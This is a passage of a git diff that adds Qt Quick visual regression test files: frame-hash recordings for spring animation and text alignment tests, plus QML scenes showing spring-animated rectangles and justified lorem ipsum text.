+ msec: 5984
+ hash: "5f03be3ed5824e6a6f8f371ce6a47997"
+ }
+ Frame {
+ msec: 6000
+ hash: "0431e2ec4765167d0099c59df400f3fd"
+ }
+ Frame {
+ msec: 6016
+ hash: "0431e2ec4765167d0099c59df400f3fd"
+ }
+ Frame {
+ msec: 6032
+ hash: "403e1f235770f2b7c8b1b2e86aea69a5"
+ }
+ Frame {
+ msec: 6048
+ hash: "403e1f235770f2b7c8b1b2e86aea69a5"
+ }
+ Frame {
+ msec: 6064
+ hash: "32ff9f959598972f5a264418587dca1f"
+ }
+ Frame {
+ msec: 6080
+ hash: "b4c7c07e52a684f7ce21e47a4d66356a"
+ }
+ Frame {
+ msec: 6096
+ hash: "e0f214bed2c3a31f473952929b8f3ea9"
+ }
+ Frame {
+ msec: 6112
+ hash: "15328b8a205965f3f29fc63a6a8ac8ed"
+ }
+ Frame {
+ msec: 6128
+ hash: "72c46ed63633e6879373f4783df25d8b"
+ }
+ Frame {
+ msec: 6144
+ hash: "ae73e0adbdaacc648c2e97840cef4194"
+ }
+ Frame {
+ msec: 6160
+ hash: "df9451c6634d72e6f794e962b3591086"
+ }
+ Frame {
+ msec: 6176
+ hash: "773e10bbd133e64457e7ddbc73a10fc2"
+ }
+ Frame {
+ msec: 6192
+ hash: "c79abb97eb86761b69053d77156dffd4"
+ }
+ Frame {
+ msec: 6208
+ hash: "d927934b19ffd55ea7cea1916983351a"
+ }
+ Frame {
+ msec: 6224
+ hash: "ae5058d935c1e44d103be66921b19e77"
+ }
+ Frame {
+ msec: 6240
+ hash: "b6a1446b6be054d5785ba52ac23f8aa8"
+ }
+ Frame {
+ msec: 6256
+ hash: "3dffbffded44249fdbe58aecd24ab97f"
+ }
+ Frame {
+ msec: 6272
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6288
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6304
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6320
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6336
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6352
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6368
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Frame {
+ msec: 6384
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6400
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6416
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6432
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6448
+ hash: "cb2b0ddbc7b8485fbf32a537e5a98d0e"
+ }
+ Frame {
+ msec: 6464
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6480
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6496
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6512
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6528
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6544
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6560
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6576
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6592
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6608
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6624
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6640
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6656
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6672
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6688
+ hash: "fa87436d5e51122022a005d815f97c32"
+ }
+ Frame {
+ msec: 6704
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6720
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6736
+ image: "follow.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6768
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6784
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6800
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6816
+ hash: "da52e87ccd157c0330c07e480b8b0c06"
+ }
+ Frame {
+ msec: 6832
+ hash: "257ce16f529b99f28beb2e57625f52ee"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6848
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6864
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6880
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6896
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6912
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+ Frame {
+ msec: 6928
+ hash: "56445ab8554a23a786b70e4fd9f40451"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/follow.qml
new file mode 100644
index 00000000..0097449c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/follow.qml
@@ -0,0 +1,79 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "#ffffff"
+ width: 320; height: 240
+
+ Rectangle {
+ id: rect
+ color: "#00ff00"
+ y: 200; width: 60; height: 20
+ SequentialAnimation on y {
+ loops: Animation.Infinite
+ NumberAnimation {
+ to: 20; duration: 500
+ easing.type: "InOutQuad"
+ }
+ NumberAnimation {
+ to: 200; duration: 2000
+ easing.type: "OutBounce"
+ }
+ PauseAnimation { duration: 1000 }
+ }
+ }
+
+ // Velocity
+ Rectangle {
+ color: "#ff0000"
+ x: rect.width; width: rect.width; height: 20
+ y: rect.y
+ Behavior on y { SpringAnimation { velocity: 200 } }
+ }
+
+ // Spring
+ Rectangle {
+ color: "#ff0000"
+ x: rect.width * 2; width: rect.width/2; height: 20
+ y: rect.y
+ Behavior on y { SpringAnimation { spring: 1.0; damping: 0.2 } }
+ }
+ Rectangle {
+ color: "#880000"
+ x: rect.width * 2.5; width: rect.width/2; height: 20
+ y: rect.y
+ Behavior on y { SpringAnimation { spring: 1.0; damping: 0.2; mass: 3.0 } } // "heavier" object
+ }
+
+ // Follow mouse
+ MouseArea {
+ id: mouseRegion
+ anchors.fill: parent
+ Rectangle {
+ id: ball
+ property int targetX: mouseRegion.mouseX - 10
+ property int targetY: mouseRegion.mouseY - 10
+
+ x: targetX
+ y: targetY
+ width: 20; height: 20
+ radius: 10
+ color: "#0000ff"
+
+ Behavior on x { SpringAnimation { spring: 1.0; damping: 0.05; epsilon: 0.25 } }
+ Behavior on y { SpringAnimation { spring: 1.0; damping: 0.05; epsilon: 0.25 } }
+
+ states: [
+ State {
+ name: "following"
+ when: ball.x != ball.targetX || ball.y != ball.targetY
+ PropertyChanges { target: ball; color: "#ff0000" }
+ }
+ ]
+ transitions: [
+ Transition {
+ ColorAnimation { duration: 200 }
+ }
+ ]
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
new file mode 100644
index 00000000..74c6934c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
new file mode 100644
index 00000000..e4dbeb1b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "justify.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.0.png
new file mode 100644
index 00000000..8b6329d9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.qml
new file mode 100644
index 00000000..5485174e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/multilineAlign.qml
@@ -0,0 +1,247 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "multilineAlign.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 48
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 64
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 80
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 96
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 112
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 128
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 144
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 160
+ hash: "3fc7ab44f913d350f7aef342b958e56d"
+ }
+ Frame {
+ msec: 176
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 192
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 208
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 224
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 240
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 256
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 272
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 288
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 304
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 320
+ hash: "a495a8a95c8aa82ac437c2f2970bd42d"
+ }
+ Frame {
+ msec: 336
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 352
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 368
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 384
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 400
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 416
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 432
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 448
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 464
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 480
+ hash: "e2d2a6e60537b9a434d0029ef5ff26dc"
+ }
+ Frame {
+ msec: 496
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 512
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 528
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 544
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 560
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 576
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 592
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 608
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 624
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 640
+ hash: "00cba961e67c2124ace75dddb657cd6c"
+ }
+ Frame {
+ msec: 656
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 672
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 688
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 704
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 720
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 736
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 752
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 768
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 784
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 800
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 816
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 832
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 848
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 864
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 880
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 896
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 912
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 928
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 944
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+ Frame {
+ msec: 960
+ hash: "31d518de83e195def2d957b7d86b98e5"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.0.png
new file mode 100644
index 00000000..38f20513
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.qml
new file mode 100644
index 00000000..75e68591
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-X11/multilineAlign.qml
@@ -0,0 +1,247 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "multilineAlign.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 48
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 64
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 80
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 96
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 112
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 128
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 144
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 160
+ hash: "377fd9e347a2e6e0930d1422ce744c5c"
+ }
+ Frame {
+ msec: 176
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 192
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 208
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 224
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 240
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 256
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 272
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 288
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 304
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 320
+ hash: "36106ba13106d262c02c67e82bba1443"
+ }
+ Frame {
+ msec: 336
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 352
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 368
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 384
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 400
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 416
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 432
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 448
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 464
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 480
+ hash: "509d31a486ae2f83055b52ec12f33e76"
+ }
+ Frame {
+ msec: 496
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 512
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 528
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 544
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 560
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 576
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 592
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 608
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 624
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 640
+ hash: "09b9249750ba637ef659cbc7b9a6055f"
+ }
+ Frame {
+ msec: 656
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 672
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 688
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 704
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 720
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 736
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 752
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 768
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 784
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 800
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 816
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 832
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 848
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 864
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 880
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 896
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 912
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 928
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 944
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+ Frame {
+ msec: 960
+ hash: "1ac7017fcf7c9775b66ed1fb78930a45"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.0.png
new file mode 100644
index 00000000..e6b2b3cc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.qml
new file mode 100644
index 00000000..1b43aa36
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data/multilineAlign.qml
@@ -0,0 +1,247 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 32
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 48
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 64
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 80
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 96
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 112
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 128
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 144
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 160
+ hash: "1ec47db85ba34bf1900445a2ab87b5e3"
+ }
+ Frame {
+ msec: 176
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 192
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 208
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 224
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 240
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 256
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 272
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 288
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 304
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 320
+ hash: "1fc2a63fa95e277bed60abfdecc7c82f"
+ }
+ Frame {
+ msec: 336
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 352
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 368
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 384
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 400
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 416
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 432
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 448
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 464
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 480
+ hash: "3a4e863d83f5d475e0c8c5121905bd87"
+ }
+ Frame {
+ msec: 496
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 512
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 528
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 544
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 560
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 576
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 592
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 608
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 624
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 640
+ hash: "8887c8f40667f65a814d74b6edcfb81c"
+ }
+ Frame {
+ msec: 656
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 672
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 688
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 704
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 720
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 736
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 752
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 768
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 784
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 800
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 816
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 832
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 848
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 864
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 880
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 896
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 912
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 928
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 944
+ hash: "436000b48f688120d96919227d9e67b4"
+ }
+ Frame {
+ msec: 960
+ image: "multilineAlign.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
new file mode 100644
index 00000000..c3a7aaaf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: 450
+ height: 250
+
+ TestText {
+ anchors.fill: parent
+ anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+ wrapMode: Text.Wrap
+ horizontalAlignment: Text.AlignJustify
+
+ text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+ Rectangle {
+ anchors.fill: parent
+ color: "transparent"
+ border.color: "red"
+ }
+ }
+}
